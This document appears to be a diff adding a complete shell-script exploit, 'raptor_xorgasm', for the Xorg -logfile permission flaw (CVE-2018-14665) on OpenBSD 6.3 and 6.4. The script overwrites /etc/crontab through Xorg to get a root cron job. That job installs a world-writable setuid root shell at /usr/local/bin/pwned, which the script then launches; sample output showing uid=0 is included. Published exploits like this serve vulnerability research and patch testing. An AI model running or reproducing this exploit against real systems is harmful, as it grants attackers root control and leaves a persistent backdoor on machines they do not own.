| | 1 | + | #!/bin/sh |
| 1 | 2 | | |
| | 3 | + | # |
| | 4 | + | # raptor_xorgasm - xorg-x11-server LPE via OpenBSD's cron |
| | 5 | + | # Copyright (c) 2018 Marco Ivaldi <[email protected]> |
| | 6 | + | # |
| | 7 | + | # A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission |
| | 8 | + | # check for -modulepath and -logfile options when starting Xorg. X server |
| | 9 | + | # allows unprivileged users with the ability to log in to the system via |
| | 10 | + | # physical console to escalate their privileges and run arbitrary code under |
| | 11 | + | # root privileges (CVE-2018-14665). |
| | 12 | + | # |
| | 13 | + | # This exploit targets OpenBSD's cron in order to escalate privileges to |
| | 14 | + | # root on OpenBSD 6.3 and 6.4. You don't need to be connected to a physical |
| | 15 | + | # console, it works perfectly on pseudo-terminals connected via SSH as well. |
| | 16 | + | # |
| | 17 | + | # See also: |
| | 18 | + | # https://lists.x.org/archives/xorg-announce/2018-October/002927.html |
| | 19 | + | # https://www.exploit-db.com/exploits/45697/ |
| | 20 | + | # https://gist.github.com/0x27/d8aae5de44ed385ff2a3d80196907850 |
| | 21 | + | # |
| | 22 | + | # Usage: |
| | 23 | + | # blobfish$ chmod +x raptor_xorgasm |
| | 24 | + | # blobfish$ ./raptor_xorgasm |
| | 25 | + | # [...] |
| | 26 | + | # Be patient for a couple of minutes... |
| | 27 | + | # [...] |
| | 28 | + | # Don't forget to cleanup and run crontab -e to reload the crontab. |
| | 29 | + | # -rw-r--r-- 1 root wheel 47327 Oct 27 14:48 /etc/crontab |
| | 30 | + | # -rwsrwxrwx 1 root wheel 7417 Oct 27 14:50 /usr/local/bin/pwned |
| | 31 | + | # blobfish# id |
| | 32 | + | # uid=0(root) gid=0(wheel) groups=1000(raptor), 0(wheel) |
| | 33 | + | # |
| | 34 | + | # Vulnerable platforms (setuid Xorg 1.19.0 - 1.20.2): |
| | 35 | + | # OpenBSD 6.4 (Xorg 1.19.6) [tested] |
| | 36 | + | # OpenBSD 6.3 (Xorg 1.19.6) [tested] |
| | 37 | + | # |
| | 38 | + | |
| | 39 | + | echo "raptor_xorgasm - xorg-x11-server LPE via OpenBSD's cron" |
| | 40 | + | echo "Copyright (c) 2018 Marco Ivaldi <[email protected]>" |
| | 41 | + | |
| | 42 | + | # prepare the payload |
| | 43 | + | cat << EOF > /tmp/xorgasm |
| | 44 | + | cp /bin/sh /usr/local/bin/pwned # fallback in case gcc is not available |
| | 45 | + | echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" > /tmp/pwned.c |
| | 46 | + | gcc /tmp/pwned.c -o /usr/local/bin/pwned # most dirs are mounted nosuid |
| | 47 | + | chmod 4777 /usr/local/bin/pwned |
| | 48 | + | EOF |
| | 49 | + | chmod +x /tmp/xorgasm |
| | 50 | + | |
| | 51 | + | # trigger the bug |
| | 52 | + | cd /etc |
| | 53 | + | Xorg -fp "* * * * * root /tmp/xorgasm" -logfile crontab :1 & |
| | 54 | + | sleep 5 |
| | 55 | + | pkill Xorg |
| | 56 | + | |
| | 57 | + | # run the setuid shell |
| | 58 | + | echo |
| | 59 | + | echo "Be patient for a couple of minutes..." |
| | 60 | + | echo |
| | 61 | + | sleep 120 |
| | 62 | + | echo |
| | 63 | + | echo "Don't forget to cleanup and run crontab -e to reload the crontab." |
| | 64 | + | ls -l /etc/crontab* |
| | 65 | + | ls -l /usr/local/bin/pwned |
| | 66 | + | /usr/local/bin/pwned |
| 2 | 67 | | |
